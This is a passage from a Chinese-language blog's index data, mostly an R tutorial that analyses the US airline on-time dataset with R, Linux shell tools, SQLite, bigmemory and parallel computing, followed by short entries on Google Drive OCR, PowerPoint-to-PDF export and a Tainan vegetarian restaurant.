61,40,-3,1537,1540,1440,60,,0,NA,7,20,-4,1436,LAW,140,0,3281,NA,7,NA,DFW,NA,N286AE,7,14,MQ,NA,2008 150,126,-19,2015,2034,1745,169,NA,0,NA,4,15,0,1745,ATL,903,0,1521,NA,10,NA,PVD,NA,N919DE,14,10,DL,NA,1998 115,103,-5,735,740,640,120,NA,0,NA,2,16,0,640,SEA,689,0,1678,NA,6,NA,SLC,NA,N346,2,10,WN,NA,1998 NA,NA,NA,NA,730,605,85,B,1,0,7,10,NA,NA,SLC,391,0,4117,0,4,0,DEN,0,N705EV,0,0,EV,0,2005 各個欄位的說明請參考 kaggle 網站上的敘述，接下來我們就可以開始分析裡面的資料了。\n由於本文在撰寫時是從美國統計協會的網站取得原始資料，目前該網站已經關閉，而 kaggle 所提供的資料是將所有年份混在一起的 CSV 檔案，本文中部分程式碼是處理依照年份拆開的 CSV 檔案，在使用上就必須先將資料調整一下。\n基本統計問題 由於 Airline on-time performance 的資料量相當大，直接以 Excel 看原始的資料是沒有太大的意義的，一般來說我們都會使用各種工具來分析資料的各種統計資訊，至於要看那些統計資訊就因人而異了，以下我們示範幾種常見的基本統計量的計算方式：\n每一年的資料筆數是多少？ 一週當中每一天的資料總筆數是多少？（所有年份）。 每一年中，TailNum 欄位為 NA 的資料筆數是多少？。 哪一年的班機誤點情況最嚴重？ 一週當中，星期幾的班機誤點情況最嚴重？ 可用來計算這些統計量的工具有很多種，我們這裡分別以 R 語言、Linux 指令以及 SQLite 資料庫等方式來計算這些統計數值，大家可以比較各種工具的差異。\n不過若僅以單一工具來分析資料，通常都會有些限制，比較好的方式是善用各種工具的長處，總合起來分析資料。\nR 語言 若要在 R 中計算每一年的資料筆數，直覺作法就是把 CSV 的資料讀進來，再計算每一年的資料筆數：\n# 計算每一年的資料筆數 for(year in 1987:2008) { x \u0026lt;- read.csv(paste0(year, \u0026#34;.csv\u0026#34;)) cat(year, \u0026#34;年:\u0026#34;, nrow(x), \u0026#34;\\n\u0026#34;) # 刪除不用的資料 rm(x) # 回收記憶體 gc() } 1987 年: 1311826 1988 年: 5202096 1989 年: 5041200 1990 年: 5270893 1991 年: 5076925 1992 年: 5092157 1993 年: 5070501 1994 年: 5180048 1995 年: 5327435 1996 年: 5351983 1997 年: 5411843 1998 年: 5384721 1999 年: 5527884 2000 年: 5683047 2001 年: 5967780 2002 年: 5271359 2003 年: 6488540 2004 年: 7129270 2005 年: 7140596 2006 年: 7141922 2007 年: 7453215 2008 年: 7009728 若要計算一週當中每一天的資料總筆數，可以這樣寫：\n# 計算一週當中每一天的資料總筆數 dayCount \u0026lt;- rep(0, 7) for(year in 1987:2008) { x \u0026lt;- read.csv(paste0(year, \u0026#34;.csv\u0026#34;)) for(i in 1:7) { dayCount[i] \u0026lt;- dayCount[i] + sum(x[,\u0026#34;DayOfWeek\u0026#34;] == i) } # 刪除不用的資料 rm(x) # 回收記憶體 gc() } dayCount [1] 18136111 18061938 18103222 18083800 18091338 15915382 17143178 若要計算每一年中 TailNum 欄位為 NA 的資料筆數，可以這樣寫：\n# 計算每一年中 TailNum 欄位為 NA 的資料筆數 for(year in 1987:2008) { x \u0026lt;- read.csv(paste0(year, \u0026#34;.csv\u0026#34;)) cat(year, \u0026#34;年:\u0026#34;, sum(is.na(x[,\u0026#34;TailNum\u0026#34;])), \u0026#34;\\n\u0026#34;) # 刪除不用的資料 rm(x) # 回收記憶體 gc() } 1987 年: 1311826 1988 年: 5202096 1989 年: 5041200 1990 年: 5270893 1991 年: 5076925 1992 年: 5092157 1993 年: 5070501 1994 年: 5180048 1995 年: 0 1996 年: 0 1997 年: 0 1998 年: 0 1999 年: 0 2000 年: 0 2001 年: 0 2002 年: 0 2003 年: 0 2004 年: 0 2005 年: 0 2006 年: 0 2007 年: 0 2008 年: 0 若要計算每一年班機平均的起飛與到達延遲時間，可以這樣寫：\n# 計算每一年班機平均的起飛與到達延遲時間 for(year in 1987:2008) { x \u0026lt;- read.csv(paste0(year, \u0026#34;.csv\u0026#34;)) cat(year, \u0026#34;年:\u0026#34;, mean(x[,\u0026#34;ArrDelay\u0026#34;], na.rm = TRUE), \u0026#34;/\u0026#34;, mean(x[,\u0026#34;DepDelay\u0026#34;], na.rm = TRUE), \u0026#34;\\n\u0026#34;) # 刪除不用的資料 rm(x) # 回收記憶體 gc() } 1987 年: 9.446699 / 8.063638 1988 年: 6.54735 / 6.706768 1989 年: 8.406396 / 8.202822 1990 年: 6.809947 / 6.909441 1991 年: 4.736445 / 5.753782 1992 年: 4.879558 / 5.688272 1993 年: 5.344062 / 6.122581 1994 年: 5.66249 / 6.659922 1995 年: 7.024064 / 8.278766 1996 年: 9.673284 / 9.991075 1997 年: 7.490578 / 8.235566 1998 年: 7.586968 / 9.024561 1999 年: 8.246601 / 9.337101 2000 年: 10.47289 / 11.28068 2001 年: 5.528249 / 8.154837 2002 年: 3.191244 / 5.532276 2003 年: 3.596694 / 5.248231 2004 年: 6.508066 / 7.892314 2005 年: 7.181343 / 8.674313 2006 年: 8.68284 / 10.09364 2007 年: 10.19218 / 11.39914 2008 年: 8.168452 / 9.97257 若要計算一週當中每一天班機平均的起飛與到達延遲時間，則可這樣寫：\n# 計算一週當中每一天班機平均的起飛與到達延遲時間 arrDelaySum \u0026lt;- rep(0, 7) arrDelayCount \u0026lt;- rep(0, 7) depDelaySum \u0026lt;- rep(0, 7) depDelayCount \u0026lt;- rep(0, 7) for(year in 1987:2008) { x \u0026lt;- read.csv(paste0(year, \u0026#34;.csv\u0026#34;)) for(i in 1:7) { idx \u0026lt;- x[,\u0026#34;DayOfWeek\u0026#34;] == i arr \u0026lt;- x[idx, \u0026#34;ArrDelay\u0026#34;] arr \u0026lt;- arr[!is.na(arr)] dep \u0026lt;- x[idx, \u0026#34;DepDelay\u0026#34;] dep \u0026lt;- dep[!is.na(dep)] arrDelaySum[i] \u0026lt;- arrDelaySum[i] + sum(arr) arrDelayCount[i] \u0026lt;- arrDelayCount[i] + length(arr) depDelaySum[i] \u0026lt;- depDelaySum[i] + sum(dep) depDelayCount[i] \u0026lt;- depDelayCount[i] + length(dep) } # 刪除不用的資料 rm(x) # 回收記憶體 gc() } arrDelaySum / arrDelayCount depDelaySum / depDelayCount [1] 6.669515 5.960421 7.091502 8.945047 9.606953 4.187419 6.525040 [1] 7.850057 6.855870 7.651197 9.246910 10.151539 6.887023 8.409293 Linux 指令 由於 CSV 檔中的資料是一筆一行，所以若要在 Linux 的 shell 中計算每一年的資料筆數，可以使用 wc 指令計算每個 CSV 檔案的行數，再自己扣掉第一行的標頭行即可：\n# 計算每一個 CSV 檔的行數 wc -l *.csv 1311827 1987.csv 5202097 1988.csv 5041201 1989.csv 5270894 1990.csv 5076926 1991.csv 5092158 1992.csv 5070502 1993.csv 5180049 1994.csv 5327436 1995.csv 5351984 1996.csv 5411844 1997.csv 5384722 1998.csv 5527885 1999.csv 5683048 2000.csv 5967781 2001.csv 5271360 2002.csv 6488541 2003.csv 7129271 2004.csv 7140597 2005.csv 7141923 2006.csv 7453216 2007.csv 7009729 2008.csv 123534991 total 在計算一週當中每一天的資料總筆數之前，我們先把所有資料放進一個 CSV 檔案中，並去掉標頭行，這樣可以讓後續的處理比較方便一些：\n# 將所有資料放進一個 CSV 檔案中，並去掉標頭行 for year in {1987..2008} do tail -n+2 $year.csv \u0026gt;\u0026gt; AirlineDataNoHeader.csv done 若要計算一週當中每一天的資料總筆數，可以使用 cut 指令將星期幾的欄位切出來，經過 sort 指令排序，最後交給 uniq 指令計算出線次數：\n# 計算一週當中每一天的資料總筆數 cut -d, -f4 AirlineDataNoHeader.csv | sort | uniq -c 18136111 1 18061938 2 18103222 3 18083800 4 18091338 5 15915382 6 17143178 7 如果只要計算其中一天的資料總筆數，可以改用 grep 指令，這樣會比較快一些：\n# 計算其中一天的資料總筆數 cut -d, -f4 AirlineDataNoHeader.csv | grep 6 | wc -l 15915382 若要計算每一年中 TailNum 欄位為 NA 的資料筆數，可以用 cut 指令將年份與 TailNum 欄位切出來，再用類似的方式計算：\n# 計算每一年中 TailNum 欄位為 NA 的資料筆數 cut -d, -f1,11 AirlineDataNoHeader.csv | grep \u0026#39;,NA$\u0026#39; | sort | uniq -c 1311826 1987,NA 5202096 1988,NA 5041200 1989,NA 5270893 1990,NA 5076925 1991,NA 5092157 1992,NA 5070501 1993,NA 5180048 1994,NA 其餘比較複雜的計算在 Linux 的 shell 中就比較不好處理了，如果要更進一步分析的話，建議改用其他的工具。\nSQLite 資料庫 資料庫可以協助我們管理較為龐大的資料，並且可以使用 SQL 的語法從大量的資料中取出有用的資訊，這裡我們以 SQLite 這個輕量級的資料庫來進行示範基本的操作方式，而這裡的 SQL 語法也可以套用在任何其他的 SQL 資料庫上。\n在 AirlineDataNoHeader.csv 這個 CSV 檔的所在目錄下，建立一個 SQLite 資料庫檔案：\nsqlite3 AirlineDelay.sqlite3 進入 SQLite shell 環境之後，先建立一個名稱為 AirlineDelay 的資料表：\nCREATE TABLE AirlineDelay ( Year int, Month int, DayofMonth int, DayOfWeek int, DepTime int, CRSDepTime int, ArrTime int, CRSArrTime int, UniqueCarrier varchar(5), FlightNum int, TailNum varchar(8), ActualElapsedTime int, CRSElapsedTime int, AirTime int, ArrDelay int, DepDelay int, Origin varchar(3), Dest varchar(3), Distance int, TaxiIn int, TaxiOut int, Cancelled int, CancellationCode varchar(1), Diverted varchar(1), CarrierDelay int, WeatherDelay int, NASDelay int, SecurityDelay int, LateAircraftDelay int ); 接著再將 AirlineDataNoHeader.csv 的資料匯入 AirlineDelay 這個資料表：\n.mode csv .import AirlineDataNoHeader.csv AirlineDelay 資料匯入完成後，就可以使用 SQL 的語法查詢各種資訊了。為了讓輸出的結果更容易閱讀，我們啟用欄位標頭，並以表格的方式輸出資料：\n.header on .mode column 若要計算每一年的資料筆數，可以在 SQLite shell 環境中執行以下 SQL 查詢指令：\n-- 計算每一年的資料筆數 SELECT Year, COUNT(*) FROM AirlineDelay GROUP BY Year; Year COUNT(*) ---------- ---------- 1987 1311826 1988 5202096 1989 5041200 1990 5270893 1991 5076925 1992 5092157 1993 5070501 1994 5180048 1995 5327435 1996 5351983 1997 5411843 1998 5384721 1999 5527884 2000 5683047 2001 5967780 2002 5271359 2003 6488540 2004 7129270 2005 7140596 2006 7141922 2007 7453215 2008 7009728 若要計算一週當中每一天的資料總筆數，則執行：\n-- 計算一週當中每一天的資料總筆數 SELECT DayOfWeek, COUNT(*) FROM AirlineDelay GROUP BY DayOfWeek; DayOfWeek COUNT(*) ---------- ---------- 1 18136111 2 18061938 3 18103222 4 18083800 5 18091338 6 15915382 7 17143178 若要計算每一年中 TailNum 欄位為 NA 的資料筆數，則執行：\n-- 計算每一年中 TailNum 欄位為 NA 的資料筆數 SELECT Year, COUNT(*) FROM AirlineDelay WHERE TailNum = \u0026#34;NA\u0026#34; GROUP BY Year; Year COUNT(*) ---------- ---------- 1987 1311826 1988 5202096 1989 5041200 1990 5270893 1991 5076925 1992 5092157 1993 5070501 1994 5180048 -- 計算每一年班機平均的起飛與到達延遲時間 SELECT Year, AVG(ArrDelay), AVG(DepDelay) FROM AirlineDelay GROUP BY Year; Year AVG(ArrDelay) AVG(DepDelay) ---------- ---------------- ---------------- 1987 9.27747124999809 7.94263644721175 1988 6.46604580153846 6.64209541692426 1989 8.25797806077918 8.08214393398397 1990 6.72155951562667 6.84067557432868 1991 4.68411627116808 5.70447721800105 1992 4.818018965244 5.62925082631977 1993 5.27009816189761 6.05031869631817 1994 5.57630045126995 6.57411475723777 1995 6.88905674118971 8.13594647330282 1996 9.41544302364189 9.75112383578199 1997 7.33854234130591 8.08679353780219 1998 7.36481370158268 8.78236996865762 1999 7.99617539007693 9.07645547554905 2000 10.1011063255328 10.9085196726334 2001 5.30212038647537 7.83891061667823 2002 3.14674773620996 5.46390883261793 2003 3.53413911295916 5.16615771806909 2004 6.37885828422826 7.75088347053766 2005 7.03274222487871 8.51185923415917 2006 8.51491993331767 9.92131347836059 2007 9.94886756923019 11.1532895535685 2008 7.9881812817844 9.77873620773873 若要計算一週當中，每一天班機平均的起飛與到達延遲時間，可執行：\n-- 計算一週當中每一天班機平均的起飛與到達延遲時間 SELECT DayOfWeek, AVG(ArrDelay), AVG(DepDelay) FROM AirlineDelay GROUP BY DayOfWeek; DayOfWeek AVG(ArrDelay) AVG(DepDelay) ---------- ---------------- ---------------- 1 6.52783559827132 7.70100216082709 2 5.82249258080722 6.71302021964642 3 6.93274048122483 7.49766168696379 4 8.74715087536912 9.06447627158009 5 9.40303503256641 9.96035776900526 6 4.10892732577829 6.77322046055822 7 6.41214715264579 8.28289019690515 若要離開 SQLite shell 環境，則執行：\n.exit 這裡在 SQLite shell 環境中計算的結果，跟上面 R 的計算結果有些差異，主要的原因在於對缺失值（NA）的處理方式不同，在 SQLite 中若遇到文字時，會直接當作 0 處理。除此之外是否還有其他的因素，我也不確定，但我想大部分的問題都是因為原始資料不完整或是格式問題所造成的。\nR 與 SQLite 有時候我們需要使用資料庫來管理資料，同時以 R 進行複雜的統計分析，這種狀況我們就可以將資料放進 SQL 資料庫之後，再從 R 中存取 SQL 資料庫的資料。\n以 SQLite 資料庫來說，我們可以使用 R 的 RSQLite 套件來連接 SQLite 資料庫，使用前請先安裝：\ninstall.packages(\u0026#34;RSQLite\u0026#34;) 安裝好之後，載入 RSQLite 套件：\nlibrary(RSQLite) 一開始必須先建立一個 SQLite 資料庫的連線：\n# 建立 SQLite 資料庫連線 delay.db \u0026lt;- dbConnect(RSQLite::SQLite(), dbname = \u0026#34;AirlineDelay.sqlite3\u0026#34;) 接著即可以 SQL 語法來查詢資料庫：\n# 以 SQL 查詢資料庫 sql \u0026lt;- \u0026#34;SELECT Year, COUNT(*) FROM AirlineDelay GROUP BY Year;\u0026#34; count \u0026lt;- dbGetQuery(delay.db, sql) count Year COUNT(*) 1 1987 1311826 2 1988 5202096 3 1989 5041200 4 1990 5270893 5 1991 5076925 6 1992 5092157 7 1993 5070501 8 1994 5180048 9 1995 5327435 10 1996 5351983 11 1997 5411843 12 1998 5384721 13 1999 5527884 14 2000 5683047 15 2001 5967780 16 2002 5271359 17 2003 6488540 18 2004 7129270 19 2005 7140596 20 2006 7141922 21 2007 7453215 22 2008 7009728 資料庫使用完之後，記得要將連線關閉：\n# 關閉 RSQLite 資料庫連線 dbDisconnect(delay.db) 透過 RSQLite 套件，我們可以使用任何的 SQL 語法從資料庫取得想要的資料，再使用 R 做進一步的統計分析，這樣會比只使用 R 來管理資料更方便。\nR 少量記憶體與巨量資料 透過資料庫來處理巨量資料是一個不錯的方式，但前提是必須熟悉 SQL 資料庫指令的語法，若對於 SQL 指令的使用不熟稔的話，使用上也不是很方便，這種狀況下就可以考慮改用 bigmemory 套件。\nR 的 bigmemory 套件可以讓記憶體不夠大的電腦也可以處理巨量的資料，而其資料操作的方式就跟 R 基本的矩陣一樣，所以對於熟悉 R 語言的人可以立即上手使用。\n由於 bigmemory 套件在處理資料時，必須將所有的資料轉成相同的類型，所以我們這裡先把文字的資料捨棄，只留下數值的欄位，再將所有的資料放進一個 CSV 檔案中。在 Linux 的 shell 中執行以下指令：\n# 將所有資料放進一個 CSV 檔案中，並只留下數值的欄位 FIELDS=1,2,3,4,5,6,7,8,12,13,14,15,16,19,20,21,22,24,25,26,27,28,29 cut -d, -f $FIELDS 1987.csv \u0026gt; AirlineDataNum.csv for year in {1988..2008} do tail -n+2 $year.csv | cut -d, -f $FIELDS \u0026gt;\u0026gt; AirlineDataNum.csv done 另一種做法是將那些文字的欄位改為數值的代號，這樣就可以直接透過 bigmemory 來處理。\n接著安裝 bigmemory 套件，並載入之：\ninstall.packages(\u0026#34;bigmemory\u0026#34;) library(bigmemory) 直接將所有的航班延誤資料載入至 R 中，載入後會得到一個 big.matrix 物件：\n# 載入所有航班延誤資料 airline.all \u0026lt;- read.big.matrix(\u0026#34;AirlineDataNum.csv\u0026#34;, header = TRUE, backingfile = \u0026#34;airline.bin\u0026#34;, descriptorfile = \u0026#34;airline.desc\u0026#34;, type = \u0026#34;integer\u0026#34;) 這裡的 backingfile 參數是指定後端快取檔案的名稱，而 descriptorfile 參數是指定 descriptor 檔案的名稱（可用來快速建立 big.matrix 物件），type 參數是指定資料類型。\n載入後，查看矩陣的大小：\n# 查看矩陣大小 dim(airline.all) [1] 123534969 24 這個 big.matrix 的操作方式就跟一般的矩陣相同，我們可用索引查看部分資料：\n# 查看部分資料 airline.all[1:5,1:7] Year Month DayofMonth DayOfWeek DepTime CRSDepTime ArrTime [1,] 1987 10 14 3 741 730 912 [2,] 1987 10 15 4 729 730 903 [3,] 1987 10 17 6 741 730 918 [4,] 1987 10 18 7 729 730 847 [5,] 1987 10 19 1 749 730 922 計算每一年的資料筆數：\n# 計算每一年的資料筆數 for(year in 1987:2008) { cat(year, \u0026#34;年:\u0026#34;, sum(airline.all[,\u0026#34;Year\u0026#34;] == year), \u0026#34;\\n\u0026#34;) } 1987 年: 1311826 1988 年: 5202096 1989 年: 5041200 1990 年: 5270893 1991 年: 5076925 1992 年: 5092157 1993 年: 5070501 1994 年: 5180048 1995 年: 5327435 1996 年: 5351983 1997 年: 5411843 1998 年: 5384721 1999 年: 5527884 2000 年: 5683047 2001 年: 5967780 2002 年: 5271359 2003 年: 6488540 2004 年: 7129270 2005 年: 7140596 2006 年: 7141922 2007 年: 7453215 2008 年: 7009728 計算一週當中每一天的資料總筆數：\n# 計算一週當中每一天的資料總筆數 for(day in 1:7) { cat(day, \u0026#34;:\u0026#34;, sum(airline.all[,\u0026#34;DayOfWeek\u0026#34;] == day), \u0026#34;\\n\u0026#34;) } 1 : 18136111 2 : 18061938 3 : 18103222 4 : 18083800 5 : 18091338 6 : 15915382 7 : 17143178 建立一個 big.matrix 物件需要等待比較久的時間，在建立好 big.matrix 物件之後，如果後續想要再次建立這個 big.matrix 物件時，就可以使用先前建立好的 descriptor 檔案，這樣就可以不用再等那麼久：\n# 使用 descriptor 檔案建立 big.matrix 物件 airline.all.2 \u0026lt;- attach.big.matrix(\u0026#34;airline.desc\u0026#34;) R 平行運算 上面我們使用迴圈的方式來計算各種統計數值，而各個統計數值之間其實是獨立的（例如週一的資料筆數不會跟週二的資料筆數有關），所以我們可以把迴圈內的計算分散至多個 CPU 核心，加速計算。\nR 的 parallel 套件是一個內建的平行計算套件，我們可以用它來加速上面的迴圈計算。\n若要將程式平行化，第一步就是要把程式以 lapply 的方式改寫，以計算一週當中每一天的資料總筆數為例，可以改成這樣：\n# 計算一週當中每一天的資料總筆數 lapply(1:7, function(day) sum(airline.all[,\u0026#34;DayOfWeek\u0026#34;] == day)) [[1]] [1] 18136111 [[2]] [1] 18061938 [[3]] [1] 18103222 [[4]] [1] 18083800 [[5]] [1] 18091338 [[6]] [1] 15915382 [[7]] [1] 17143178 也可以使用 sapply，以這個例子來說，這樣會比較方便：\n# 計算一週當中每一天的資料總筆數 sapply(1:7, function(day) sum(airline.all[,\u0026#34;DayOfWeek\u0026#34;] == day)) [1] 18136111 18061938 18103222 18083800 18091338 15915382 17143178 確認結果正確之後，接著載入 parallel 套件：\nlibrary(parallel) 接著使用 makeForkCluster 建立 cluster，建立時要指定欲使用的 CPU 核心數，這裡我們用 detectCores 自動偵測系統的 CPU 核心數，使用所有的核心：\n# 偵測 CPU 核心數 cores \u0026lt;- detectCores() # 建立 cluster cl \u0026lt;- makeForkCluster(cores) 接著將上面寫好的 lapply 或 sapply 改為 parLapply 或 parSapply，即可將工作分散至多個 CPU 核心進行平行計算：\n# 計算一週當中每一天的資料總筆數 parSapply(cl, 1:7, function(day) sum(airline.all[,\u0026#34;DayOfWeek\u0026#34;] == day)) [1] 18136111 18061938 18103222 18083800 18091338 15915382 17143178 正常來說，計算的結果會相同，但是速度卻快很多。\n計算完畢之後，記得要關閉 cluster：\n# 關閉 cluster stopCluster(cl) R 巨量資料回歸分析 若在資料量很大的情況下想做迴歸分析，沒有辦法以普通的 lm 來處理，必須改用 biglm 套件，它的原理是每次只拿部分的資料作計算，逐步更新模型參數。\n如果想要拿 big.matrix 的資料放進 biglm 做迴歸，可以用 biganalytics 這個包裝套件，它可以簡化資料轉換的流程，使用起來更簡單。\n首先安裝 biganalytics 套件：\ninstall.packages(\u0026#34;biganalytics\u0026#34;) library(biganalytics) 接著就可以使用 biglm.big.matrix 進行迴歸分析了：\n# 迴歸分析 blm \u0026lt;- biglm.big.matrix(ArrDelay ~ Distance, data = airline.all) 最後輸出配適的迴歸模型：\n# 輸出結果 summary(blm) Large data regression model: biglm(formula = formula, data = data, ...) Sample size = 120748239 Coef (95% CI) SE p (Intercept) 6.9707 6.9616 6.9798 0.0045 0 Distance 0.0001 0.0001 0.0001 0.0000 0 練習題 請使用 R 的 parallel 平行計算套件，解決以下問題： 哪一年的班機誤點情況最嚴重？ 一週當中，星期幾的班機誤點情況最嚴重？ 以迴歸分析檢查 ArrDelay 與 DepDelay 兩者之間是否有關係？ ","permalink":"https://blog.gtwang.org/r/r-airline-on-time-performance-big-data-analysis/","summary":"\u003cp\u003e本篇以實際的美國飛機航班延誤紀錄資料，示範在實務上如何處理與分析巨量資料。\u003c/p\u003e\n\u003cp\u003e飛機航班的延誤會直接對旅客造成不便，因此我們會希望藉著分析班機誤點的資料，找出可能造成誤點的原因，進而嘗試降低航班延誤的頻率，不過這類的資料量通常都非常龐大，比較難以傳統的方式來處理。\u003c/p\u003e","title":"R 大資料分析實例：12 GB 美國飛機航班延誤紀錄"},{"content":"這裡介紹如何使用 Google 雲端硬碟的文字辨識功能，自動辨識照片裡的直書與橫書中文字，不用打字就可以複製出圖片中的文字。\n最近我在整理大量的老舊中文書籍，打算把這些古書全部轉成電子檔，讓資料可以永久保存，甚至建立資料庫，方便搜尋關鍵字。\n古書數位化的第一步當然就是以掃描器掃描成 PDF 檔保存，而有了大量的照片之後，接下來就要想辦法把裡面的文字辨識出來，建立資料庫。下面這一張是典型的範例圖片，由於這樣的圖片有非常多，所以一定要找一個可以自動化處理的方式才行。\nGoogle 雲端硬碟文字辨識功能 市面上的圖片文字辨識（OCR）軟體其實不少，以往最有名的應該就是丹青文件辨識系統，而後來也出現很多免費的軟體，我在網路上研究了一陣子，覺得 Google 雲端硬碟的文字辨識功能好像做得比較好，辨識準確率高，操作也方便，以下是使用 Google 雲端硬碟辨識中文圖片文字的步驟。\nStep 1\n首先把圖片的方向調整好，如果照片的方向是側的或是反的，就用 Windows 10 內建的相片瀏覽程式來調整。\n將圖片轉正之後，才能開始進行文字的辨識。\nStep 2\n將要進行文字辨識的照片上傳至 Google 雲端硬碟，直接選取要上傳的照片，滑鼠拖曳進 Google 雲端硬碟的目錄即可自動上傳。\nStep 3\n等照片上傳至 Google 雲端硬碟之後，使用 Google 文件開啟圖片。\nStep 4\n以 Google 文件開啟圖片之後，文件開頭會顯示該圖片。\n在圖片的下方就會有自動辨識文字的結果，Google 雲端硬碟的文字辨識功能很不錯，它會自動判斷中文字的直書與橫書，產生正確的結果。\n這是我拿另外一本古書來辨識的結果，以這種單純的文字來說，辨識的正確率相當高，另外我感覺 Google 雲端硬碟還會自動判斷與選擇相近的字體，只不過不是很準確就是了。\n下面這一張是《三界靈針》的內容，這本書是比較偏文言文的書籍，雖然其紙本印刷清晰，但辨識的正確率比一般白話文低很多，會錯的字我看起來大部分都是比較文言的字，這種字可能在 Google 的辨識引擎中較少被訓練到，所以正確率較低。\n複雜排版文字 有一些書籍可能會有比較複雜的排版，例如將頁面區分成好幾個小區塊。\n像這種有好多區塊的文字，若直接放到 Google 雲端硬碟上進行辨識的話，會造成不同區塊的文字混再一起，不好整理。\n直覺的解決方式就是先依照區塊把圖片裁切好，再放到 Google 雲端硬碟上進行辨識。\n這樣的效果就會好很多。\n有時候辨識的結果會像這樣字型大小不一，不過看起來文字的內容都是正確的，自己稍微整理一下，就可以很快把圖片轉成文字了。\n這裡只是示範用最簡單的方式，手動上傳圖片到 Google 雲端硬碟進行圖片的文字辨識，雖然可以省掉大部分的打字工作，但是如果圖片的數量很龐大時，這個做法也是會花不少時間的，如果想讓這個流程可以自動化，建議參考以 Python 配合 Google 雲端硬碟 API 的方式，讓程式自動處理上傳圖檔與下載結果的動作，減少人工的手動操作。\n參考資料 就是教不落 ","permalink":"https://blog.gtwang.org/useful-tools/google-drive-vertical-and-horizontal-chinese-characters-ocr-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Google 雲端硬碟的文字辨識功能，自動辨識照片裡的直書與橫書中文字，不用打字就可以複製出圖片中的文字。\u003c/p\u003e\n\u003cp\u003e最近我在整理大量的老舊中文書籍，打算把這些古書全部轉成電子檔，讓資料可以永久保存，甚至建立資料庫，方便搜尋關鍵字。\u003c/p\u003e","title":"Google 雲端硬碟圖片文字辨識 OCR 使用教學，處理直書與橫書中文字"},{"content":"這裡介紹如何將 PowerPoint 簡報檔案匯出成 PDF 檔，以便在各種系統上觀看。\n當我們使用 PowerPoint 製作好簡報之後，時常都會放在別台電腦上撥放（例如演講會場的電腦），甚至讓聽眾把簡報檔拿回去，在 Windows 以外的系統上（例如 Linux、Mac OS X 或手機平台等）觀看，而最常見的問題就是怕簡報內容的排版或字型跑掉，可能原本的簡報在自己電腦上排的很漂亮，但是用別台電腦開起來的時候就變得很醜。\n若想要避免辛苦製作的漂亮簡報功虧一簣，最保險的做法就是把製作完成的 PowerPoint 簡報檔轉為 PDF 檔。轉成 PDF 檔案有許多的優點，除了可以確保版面、字型、圖像等元素不會跑掉之外，也可以保護簡報內容不會被誤改（竄改），而且放在網路上讓人觀看時也比較方便，Google Chrome 瀏覽器本身就有內建 PDF 連覽功能，不需要安裝 Office 也可以正常觀看，對於 Linux 或 Mac OS X 等系統受惠最多。\n像我自己出去演講時同時，就會習慣攜帶原始的 PowerPoint 檔案以及備用的 PDF 檔，如果 PowerPoint 檔的排版跑掉，至少還有基本的 PDF 檔可用。\nPowerPoint 轉 PDF 以下是使用 PowerPoint 內建的匯出功能，將簡報儲存成 PDF 檔案的步驟。 Step 1\n開啟製作好的 PowerPoint 簡報檔案，從主選單中選擇「檔案」。\nStep 2\n從左側選單中選擇「匯出」。\nStep 3\n在「建立 PDF/XPS 文件」功能中，點選「建立 PDF/XPS」按鈕。\nStep 4\n選擇匯出 PDF 檔案的存放位置。\n在選項的部分還有許多的細部功能，不過以大部分的情況來說，使用預設值即可，若有必要再調整。\nStep 5\n等待匯出完成後，就可以得到一份 PDF 簡報檔了。\n由於這種 PDF 簡報檔是直接從 PowerPoint 匯出的，所以品質（應該）很不錯，看起來跟原始的 PowerPoint 簡報檔沒有什麼差異。\n","permalink":"https://blog.gtwang.org/windows/powerpoint-export-to-pdf-tutorial/","summary":"\u003cp\u003e這裡介紹如何將 PowerPoint 簡報檔案匯出成 PDF 檔，以便在各種系統上觀看。\u003c/p\u003e\n\u003cp\u003e當我們使用 PowerPoint 製作好簡報之後，時常都會放在別台電腦上撥放（例如演講會場的電腦），甚至讓聽眾把簡報檔拿回去，在 Windows 以外的系統上（例如 Linux、Mac OS X 或手機平台等）觀看，而最常見的問題就是怕簡報內容的排版或字型跑掉，可能原本的簡報在自己電腦上排的很漂亮，但是用別台電腦開起來的時候就變得很醜。\u003c/p\u003e","title":"PowerPoint 轉 PDF 檔教學，避免排版、字型跑掉"},{"content":"理善蔬食是台南善化的一家環境清悠的素食餐廳，價格便宜、餐點美味、服務親切、用餐環境寬敞又舒適、停車也方便，靠近南科，非常適合團體聚餐。\n最近我們家的親友要聚餐，需要找一個素食的餐廳，前幾天我們自己先來理善蔬食吃吃看，吃過之後感覺真的非常滿意，今天就帶大家一起來這邊聚餐。\n店名：理善蔬食\n地址：台南市善化區烏橋中路 108 號\n網站：facebook 粉絲專頁\n這邊的用餐環境相當舒適，環境的照片與菜單可以參考上一篇的食記文章。今天來的時候，過年用的圓桌已經換成方桌了。\n這是法式香草牛奶鍋。\n這是藥膳猴頭菇養生鍋。\n他的鍋子滿大的，不必擔心湯滾了會滿出來。\n這是南瓜牛奶鍋。\n前兩天來的時候火鍋附贈的飲料是酸梅湯，而今天的飲料則是檸檬冬瓜茶，都很好喝喔。\n這一道是泰式東炎炒飯。\n這一道泰式東炎炒飯是辣味的，可以選擇小辣、中辣、大辣，我點的這一盤是小辣的。\n這一道是番茄起司蓋飯。\n這一道是泡菜石鍋拌飯。\n這一道是猴頭菇藥膳拉麵。\n這一道是辣味猴頭菇炒麵。\n這一道是麻油猴頭菇炒麵。\n這一道是紅醬義大利麵。\n阿玄很喜歡看書，剛好這邊有很多兒童的故事書可以看。\n今天我們有十幾位親友一起來這邊聚餐，有大人也有小朋友，感覺餐點的份量都很足夠，每一道料理都很好吃，感覺很滿意，下次若有聚餐的話，會考慮再來一次。\n我們今天來的比較早，晚餐吃飽後出來之後，剛好可以欣賞夕陽，這裡傍晚的景色也很漂亮。\n後記 後來我們有空的時候又去理善吃了幾次，發現水果茶非常好喝，補上幾張水果茶的照片。\n","permalink":"https://blog.gtwang.org/life/li-shan-vegetarian-restaurant-shanhua-tainan-20180218/","summary":"\u003cp\u003e理善蔬食是台南善化的一家環境清悠的素食餐廳，價格便宜、餐點美味、服務親切、用餐環境寬敞又舒適、停車也方便，靠近南科，非常適合團體聚餐。\u003c/p\u003e\n\u003cp\u003e最近我們家的親友要聚餐，需要找一個素食的餐廳，前幾天我們自己先來理善蔬食吃吃看，吃過之後感覺真的非常滿意，今天就帶大家一起來這邊聚餐。\u003c/p\u003e","title":"[台南善化素食] 